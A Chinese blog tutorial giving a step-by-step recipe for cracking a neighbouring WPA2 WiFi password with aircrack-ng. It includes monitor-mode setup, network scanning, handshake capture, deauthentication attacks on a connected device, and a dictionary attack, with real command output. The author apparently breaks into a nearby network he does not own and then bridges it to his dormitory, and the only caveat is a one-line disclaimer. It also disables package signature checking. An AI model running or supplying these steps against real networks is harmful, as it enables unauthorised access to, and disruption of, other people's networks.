利用aircrack-ng暴力破解附近的WiFi实战

> 本文章仅作为技术学习交流，请不要随意参和落户。

🐬 提前准备

你需要如下材料

- 一个支持监听的无线网卡设备
- 一个强大的WiFi字典
- 一个有WiFi的地方

🐬 安装软件

你可以在网上找到**aircrack-ng**的项目地址进行安装或者你是**Arch**用户仅需要添加**BlackArch**的软件源，随后通过**packman**安装即可。

💗 添加BlackArch软件源

将这段配置写入到 /etc/pacman.conf 中。

```
[blackarch]
SigLevel = Never
Server = https://mirrors.tuna.tsinghua.edu.cn/blackarch/$repo/os/$arch
```

随后刷新软件源：

```shell
pacman -Syy
```

💗 用pacman安装它

仅需要一条命令即可安装：

```shell
pacman -S aircrack-ng
```

💗 下载字典

由于是通过暴力破解方式破解**WiFi**密码，所以你需要下载一份强大的字典，字典可以直接点**Github**上搜索，或者直接**google**。这里就不提供了。

🐬 具体步骤

总体分为以下三步：

💗 将网卡设置为监听模式

获取你网卡的设备名：

```shell
iwconfig
```

我的电脑获取网卡信息如下：

```fundamental
lo        no wireless extensions.

wlan0     IEEE 802.11  ESSID:"203"
          Mode:Managed  Frequency:2.462 GHz  Access Point: 14:75:90:9E:29:8E
          Bit Rate=108 Mb/s   Tx-Power=22 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on
          Link Quality=65/70  Signal level=-43 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:2   Missed beacon:0
```

下面列举下有用的网卡信息：

关键词	解释
wlan0	网卡设备名
IEEE 802.11	所使用的协议
ESSID	当前连接的WiFi
Mode	当前网卡的模式
Frequency	网卡的频率
Link Quality	WiFi连接的质量
Signal level	信号强度，越低越好

下面需要将网卡设备为监听模式，需要使用 airmon-ng（注意我这里**wlan0**是我的设备名，你需要替换成你的）：

```shell
sudo airomon-ng start wlan0
```

设置完毕后你可以输出一下网卡信息，确保 Mode 为 Monitor 且设备名变成了 wlan0mon ，也就是监听模式。此时你会新增。

💗 扫描附近的WiFi

开启监听模式的网卡下面可以对附近的**WiFi**进行扫描了，通过 Airodump-ng 进行扫描附近网络

```shell
sudo airodump-ng wlan0mon
```

下面是我附近的**WiFi**状况：

```fundamental
 CH  5 ][ Elapsed: 6 s ][ 2021-04-07 23:34
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC CIPHER  AUTH ESSID

 88:F8:B3:5E:EF:35  -3        4        1    0   6  405   WPA2 CCMP   PSK  201看外
 BC:54:FC:62:A1:95  -5        6        0    0   1  270   WPA2 CCMP   PSK  雷
 B0:EA:07:36:3D:6F  -12       3        0    0   1  270   WPA2 CCMP   PSK  声高队歹
 64:64:4A:27:74:17  -14       4        8    0   1  130   WPA2 CCMP   PSK  <length:  0>
 4A:7D:2E:03:04:DF  -30       5        0    0  11  270   WPA2 CCMP   PSK  hackers
 14:75:90:9E:29:8E  -35       2        0    0  11  270   WPA2 CCMP   PSK  203
 F0:D2:A9:B6:B8:8F  -71       0        6    2   1   -1   WPA              <length:  0>
 DA:A2:10:A9:9D:C8  -71       0        0    0   1   -1                    <length:  0>
 B0:95:8E:47:A9:B7  -126      3        0    0   6  405   WPA2 CCMP   PSK  cui-wifi

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes
```

这里我们将会对 203 这个**WiFi**进行攻击，所以我们需要记录下对应的 BSSID 以及 CH ，这两个值分别是**WiFi**唯一标识和信道。建议选择 PWR 较小的**WiFi**，因为这意味着信号较好。

💗 利用Airodump-ng抓取包含加密密钥的握手包

随后我们再次使用**Airodump-ng**尝试抓取包含密钥的握手包：

```shell
sudo airodump-ng wlan0mon -c 11 --bssid 14:75:90:9E:29:8E
```

其中的 -c 参数代表了信道号， --bssid 代表此**WiFi**的唯一标识。

执行后等待一会，输出结果如下：

```fundamental
CH 11 ][ Elapsed: 6 s ][ 2021-04-07 23:41

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC CIPHER  AUTH ESSID

 14:75:90:9E:29:8E  -37  1       89     4294  299  11  270  WPA2 CCMP   PSK  203

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

 14:75:90:9E:29:8E  48:7D:2E:B3:DA:DF  -29    0 - 1e     0       7
 14:75:90:9E:29:8E  E0:DC:FF:DC:5A:B9  -40    0 - 0e   817    4259
 14:75:90:9E:29:8E  B0:ED:2C:10:0D:8A  -63    0 -24      0       2
 14:75:90:9E:29:8E  FA:B3:C4:C0:8F:DF  -60    0e-24     88      88
```

从这个输出结果我们可以分析到的数据：

- 当前连接此**WiFi**的设备有4台，以及每台设备的唯一标识，见包数等。 下面的四行也就代表了四台设备。我们需要记录 Lost 有变化的设备标识，这里我们选择标识为 E0:DC:FF:DC:5A:B9 的设备。

好的，目前我们掌握了几条有用的信息，如下：

```
WiFi唯一标识
14:75:90:9E:29:8E
连接WiFi的设备之一的标识
E0:DC:FF:DC:5A:B9
WiFi的信道
11
```

下面我们需要根据以上信息进行抓包，尝试拿到包含密钥的握手包。

```shell
sudo airodump-ng wlan0mon --bssid 14:75:90:9E:29:8E -c 11 -w 203
```

注意，这里的 -w 是指将抓到的数据文件的前缀名，所以此建议你最好创建一个目录并在此目录下执行命令。

随后我们只需要一直进行这条命令即可，不要关闭它。

💗 利用Aireplay-ng加速获取握手包速度

下面我们需要利用 Aireplay-ng 进行断网攻击，当用户重连**WiFi**时 Airodump-ng 应该就能拿到密钥的数据包了。

```shell
sudo aireplay-ng wlan0mon -0 10 -a 14:75:90:9E:29:8E -c E0:DC:FF:DC:5A:B9
```

这里的 -0 代表攻击次数，后面的**10**也就是攻击次数， -a 代表要攻击的**WiFi**， -c 代表要攻击的已连接**WiFi**的设备。

此命令的输出结果如下：

```fundamental
23:55:26  Waiting for beacon frame (BSSID: 14:75:90:9E:29:8E) on channel 11
23:55:28  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:B9] [27] 1 ACKs]
23:55:29  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:B9] [ 3] 1 ACKs]
23:55:30  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:B9] [ 2] 6 ACKs]
23:55:32  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:B9] [ 8] 7 ACKs]
23:55:34  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:B9] [ 7] 7 ACKs]
23:55:36  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:B9] [ 7]14 ACKs]
23:55:39  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:B9] [14] 3 ACKs]
23:55:41  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:B9] [22] 6 ACKs]
23:55:43  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:B9] [ 5] 5 ACKs]
23:55:45  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:B9] [10] 6 ACKs]
```

如果这种方式多次失败，可以尝试去掉 -c 参数，进行范围扫描，对每个设备都进行攻击，这样拿到加密包的机率也会有提升。

当 airodump-ng 那边提示拿到 WPA handshake 即代表拿到加密握手包，也就不需要断开攻击了。

```shell
CH 11 ][ Elapsed: 6 mins ][ 2021-04-08 00:05 ][ WPA handshake: 14:75:90:9E:29:8E
```

💗 利用Aircrak-ng进行暴力破解

下面我们通过准备好字典以及拿到的握手包进行暴力破解。

首先看看我们拿到了哪些数据包：

```shell
cd ~/hack/wifi/demo/203 && pwd && ls -l
```

```
/home/evanmeek/hack/wifi/demo/203
total 520
-rw-r--r-- 1 root root 461174 Apr  8 00:07 203-01.cap
-rw-r--r-- 1 root root    960 Apr  8 00:07 203-01.csv
-rw-r--r-- 1 root root    590 Apr  8 00:07 203-01.kismet.csv
-rw-r--r-- 1 root root   8192 Apr  8 00:07 203-01.kismet.netxml
-rw-r--r-- 1 root root   51262 Apr  8 00:07 203-01.log.csv
```

包含密钥握手包的文件是 203-01.cap 我们需要使用它。

执行如下命令进行破解

```shell
sudo aircrack-ng 203-01.cap -w ~/hack/wifi/dict/Big_dictionary/english.txt
```

-w 是我们的字典， 203-01.cap 是我们拿到的密钥握手包。

过了一会，我这个字典刚好包含这个**WiFi**的密码，仅花了6秒就破解成功。

```fundamental
                                Aircrack-ng 1.6

      [00:00:06] 97400/672047 keys tested (15447.93 k/s)

      Time left: 37 seconds                                     14.49%

                                KEY FOUND! [ 40154015 ]


      Master Key     : D6 16 29 7C 14 BC 73 B6 9F 13 C7 0F F6 B4 82 CD
                       DE 7E 6A A4 CF B0 02 09 FA 26 A5 F8 D4 B0 CF DB

      Transient Key  : A8 09 92 3A C5 03 12 10 94 22 1A A2 DB 6D 34 BC
                       F6 2A 6D 45 35 64 AB 63 A0 4E 67 00 00 00 00 00
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

      EAPOL HMAC     : 13 2A 3B F7 65 0D 59 34 04 60 35 00 FD EC F1 CA
```

💗 关闭网卡监听模式

破解完成后，我们需要将网卡的模式设置为 Managed 。

```shell
sudo airmon-ng stop wlan0mon
```

🐬 最后

随后我利用**WiFi**信号放大，桥接器，将此**WiFi**桥接到我们宿舍，并将名字改为 hacker 。

Date: 2021-04-07 三 00:00
Author: Evan Meek
Created: 2022-04-05 二 02:26